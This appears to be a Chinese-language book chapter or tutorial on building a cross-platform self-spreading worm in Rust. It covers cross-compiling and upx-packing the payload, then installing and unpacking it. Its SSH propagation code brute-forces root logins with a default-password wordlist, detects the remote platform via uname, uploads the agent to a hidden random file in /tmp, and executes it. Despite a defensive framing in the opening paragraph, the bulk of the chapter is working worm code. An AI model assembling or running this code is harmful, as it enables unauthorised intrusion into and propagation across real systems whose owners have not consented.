在當今複雜的網路環境中,跨平台蠕蟲的威脅日益嚴重。本文將探討如何使用 Rust 語言開發跨平台蠕蟲,並利用 SSH 弱點進行傳播。我們將逐步解析跨平台編譯、壓縮封裝、SSH 連線建立、暴力破解、目標平台檢測、程式碼上傳和執行等關鍵步驟,並提供實際的程式碼範例和圖表說明。此外,我們還將探討供應依賴項的優缺點及其在蠕蟲開發中的應用。透過深入理解這些技術細節,讀者可以更有效地防禦跨平台蠕蟲攻擊,並提升系統安全性。
13.3 跨平台蠕蟲
跨平台蠕蟲是一種能夠跨不同作業系統和架構傳播的蠕蟲。
跨平台蠕蟲傳播
graph LR A[x86_64 Windows] -->|感染|> B[ARM Linux] B -->|感染|> C[macOS Laptop] C -->|感染|> D[iOS Smartphone]
圖表翻譯:
此圖表展示了跨平台蠕蟲如何在不同作業系統和架構之間傳播。從x86_64 Windows系統開始,蠕蟲可以傳播到ARM Linux系統,然後進一步傳播到macOS筆記型電腦和iOS智慧手機。
13.4 透過SSH傳播
對於蠕蟲來說,透過SSH傳播是因為兩個主要原因:
- IoT裝置組態不當
- SSH金鑰管理困難
內容解密:
蠕蟲透過SSH傳播主要是因為許多IoT裝置的安全性差,並且SSH金鑰管理不當。加強IoT裝置的安全性和正確管理SSH金鑰是防止蠕蟲透過SSH傳播的有效方法。
13.5 供應依賴項
供應依賴項(Vendoring dependencies)是將所有依賴項與程式碼一起封裝在儲存函式庫中的做法。
優點:
- 支援離線構建
- 提高隱私性
- 便於審查依賴項更新
缺點:
- 顯著增加儲存函式庫的大小
程式碼範例:
# 使用cargo vendor命令供應依賴項
cargo vendor
內容解密:
使用cargo vendor
命令可以將Rust專案的依賴項供應到儲存函式庫中。這樣做可以確保即使在沒有網路連線的情況下也可以構建專案,並且可以提高隱私性。
13.6 在Rust中實作跨平台蠕蟲
13.6.1 bundle.zip
首先,我們需要建立一個包含所有目標平台編譯版本的蠕蟲程式包。
為此,我們將使用之前學過的 cross
工具。
此外,為了減少包的大小,我們使用 upx
壓縮每個可執行檔。
Makefile 範例
.PHONY: bundle
bundle: x86_64 aarch64
rm -rf bundle.zip
zip -j bundle.zip target/agent.linux_x86_64 target/agent.linux_aarch64
.PHONY: x86_64
x86_64:
cross build -p agent --release --target x86_64-unknown-linux-musl
upx -9 target/x86_64-unknown-linux-musl/release/agent
mv target/x86_64-unknown-linux-musl/release/agent target/agent.linux_x86_64
.PHONY: aarch64
aarch64:
cross build -p agent --release --target aarch64-unknown-linux-musl
upx -9 target/aarch64-unknown-linux-musl/release/agent
mv target/aarch64-unknown-linux-musl/release/agent target/agent.linux_aarch64
執行 make bundle
後,我們的 bundle.zip
檔案將包含:
- agent.linux_x86_64
- agent.linux_aarch64
內容解密:
此Makefile用於建立一個包含多個平台執行檔的壓縮檔。首先,它會為x86_64和aarch64架構編譯agent程式,接著使用upx進行壓縮,最後將壓縮後的檔案封裝成zip格式。這個過程確保了我們的蠕蟲程式能夠支援多個平台,並且檔案大小得以最佳化。
13.7 安裝
在前一章中,我們瞭解瞭如何在不同作業系統上實作持久化。
現在,我們需要在安裝過程中新增一個步驟:解壓 bundle.zip
檔案。
Rust 安裝程式碼
pub fn install() -> Result<PathBuf, crate::Error> {
let install_dir = config::get_agent_directory()?;
let install_target = config::get_agent_install_target()?;
if !install_target.exists() {
println!("Installing into {}", install_dir.display());
let current_exe = env::current_exe()?;
fs::create_dir_all(&install_dir)?;
fs::copy(current_exe, &install_target)?;
// 在此處,我們可以從中央伺服器取得bundle
let bundle = PathBuf::from("bundle.zip");
if bundle.exists() {
println!("bundle.zip found, extracting it to {}", install_dir.display());
extract_bundle(install_dir.clone(), bundle)?;
} else {
println!("bundle.zip NOT found");
}
}
Ok(install_dir)
}
fn extract_bundle(install_dir: PathBuf, bundle: PathBuf) -> Result<(), crate::Error> {
let mut dist_bundle = install_dir.clone();
dist_bundle.push(&bundle);
fs::copy(&bundle, &dist_bundle)?;
let zip_file = fs::File::open(&dist_bundle)?;
let mut zip_archive = zip::ZipArchive::new(zip_file)?;
for i in 0..zip_archive.len() {
let mut archive_file = zip_archive.by_index(i)?;
let dist_filename = match archive_file.enclosed_name() {
Some(path) => path.to_owned(),
None => continue,
};
let mut dist_path = install_dir.clone();
dist_path.push(dist_filename);
let mut dist_file = fs::File::create(&dist_path)?;
io::copy(&mut archive_file, &mut dist_file)?;
}
Ok(())
}
內容解密:
這段程式碼負責將蠕蟲程式安裝到目標系統,並解壓包含多平台執行檔的bundle.zip
。首先,它檢查目標安裝路徑是否存在,如果不存在,則進行安裝並解壓縮檔。解壓過程中,它將壓縮檔中的檔案複製到安裝目錄中。這確保了蠕蟲程式能夠在不同平台上執行。
13.8 傳播
13.8.1 SSH 連線
let tcp = TcpStream::connect(host_port)?;
let mut ssh = Session::new()?;
ssh.set_tcp_stream(tcp);
ssh.handshake()?;
內容解密:
這段程式碼建立了與遠端主機的SSH連線。首先,它透過TCP連線到指定的主機和埠,然後初始化一個SSH會話,並進行握手以建立安全連線。
13.8.2 暴力破解
pub static USERNAMES: &'static [&str] = &["root"];
pub static PASSWORDS: &'static [&str] = &["password", "admin", "root"];
fn bruteforce(ssh: &Session) -> Result<Option<(String, String)>, crate::Error> {
for username in wordlist::USERNAMES {
for password in wordlist::PASSWORDS {
let _ = ssh.userauth_password(username, password);
if ssh.authenticated() {
return Ok(Some((username.to_string(), password.to_string())));
}
}
}
return Ok(None);
}
內容解密:
此函式嘗試透過暴力破解的方式對SSH伺服器進行身份驗證。它遍歷預定義的使用者名稱和密碼列表,嘗試登入。如果成功,它將傳回驗證成功的使用者名稱和密碼組合。
13.8.3 檢測目標平台
#[derive(Debug, Clone, Copy)]
enum Platform {
LinuxX86_64,
LinuxAarch64,
MacOsX86_64,
MacOsAarch64,
Unknown,
}
fn identify_platform(ssh: &Session) -> Result<Platform, crate::Error> {
let mut channel = ssh.channel_session()?;
channel.exec("uname -a")?;
let (stdout, _) = consume_stdio(&mut channel);
let stdout = stdout.trim();
// 根據uname -a的輸出判斷平台
if stdout.contains("Linux") {
if stdout.contains("x86_64") {
return Ok(Platform::LinuxX86_64);
} else if stdout.contains("aarch64") {
return Ok(Platform::LinuxAarch64);
}
} else if stdout.contains("Darwin") {
// 處理macOS
}
Ok(Platform::Unknown)
}
內容解密:
這段程式碼定義了一個列舉Platform
來表示不同的作業系統平台。identify_platform
函式透過在遠端主機上執行uname -a
命令來檢測目標系統的平台型別,並傳回相應的Platform
列舉值。
13.8.4 上傳
fn upload_agent(ssh: &Session, agent_path: &PathBuf) -> Result<String, crate::Error> {
let rand_name: String = thread_rng().sample_iter(&Alphanumeric).take(32).map(char::from).collect();
let hidden_rand_name = format!(".{}", rand_name);
let mut remote_path = PathBuf::from("/tmp");
remote_path.push(&hidden_rand_name);
let agent_data = fs::read(agent_path)?;
let mut channel = ssh.scp_send(&remote_path, 0o700, agent_data.len() as u64, None)?;
channel.write_all(&agent_data)?;
Ok(remote_path.display().to_string())
}
內容解密:
此函式透過SCP將本地的agent程式上傳到遠端主機。首先,它生成一個隨機的檔案名以避免名稱衝突,然後讀取本地agent檔案的內容,並透過SCP將其上傳到遠端主機的/tmp
目錄下。
13.8.5 執行遠端Agent
fn execute_remote_agent(ssh: &Session, remote_path: &str) -> Result<(), crate::Error> {
let mut channel_exec = ssh.channel_session()?;
channel_exec.exec(remote_path)?;
let _ = consume_stdio(&mut channel_exec);
Ok(())
}
內容解密:
此函式在遠端主機上執行之前上傳的agent程式。它透過SSH會話建立一個執行通道,並執行指定的遠端路徑下的程式。
13.8.6 傳播函式
pub fn spread(install_dir: PathBuf, host_port: &str) -> Result<(), crate::Error> {
// 建立SSH連線
let tcp = TcpStream::connect(host_port)?;
let mut ssh = Session::new()?;
ssh.set_tcp_stream(tcp);
ssh.handshake()?;
// 暴力破解
match bruteforce(&mut ssh)? {
Some((username, password)) => println!("Authenticated! username: ({}), password: ({})", username, password),
None => return Ok(()),
};
// 識別平台、上傳並執行agent
// ...
}
內容解密:
spread
函式整合了上述所有步驟:建立SSH連線、暴力破解身份驗證、識別遠端主機平台、上傳agent程式並執行它。這個過程使蠕蟲能夠傳播到遠端主機。
此圖示顯示了蠕蟲傳播的流程
graph LR A[建立SSH連線] --> B{身份驗證} B -->|成功| C[識別遠端平台] B -->|失敗| D[結束] C --> E[上傳Agent] E --> F[執行遠端Agent] F --> G[傳播完成]
圖表翻譯: 此圖表展示了蠕蟲傳播的主要步驟。首先,它嘗試與目標主機建立SSH連線並進行身份驗證。如果驗證成功,則識別遠端主機的平台型別,接著上傳並執行蠕蟲程式。如果身份驗證失敗,則傳播過程終止。最終,蠕蟲在遠端主機上成功執行,完成了傳播過程。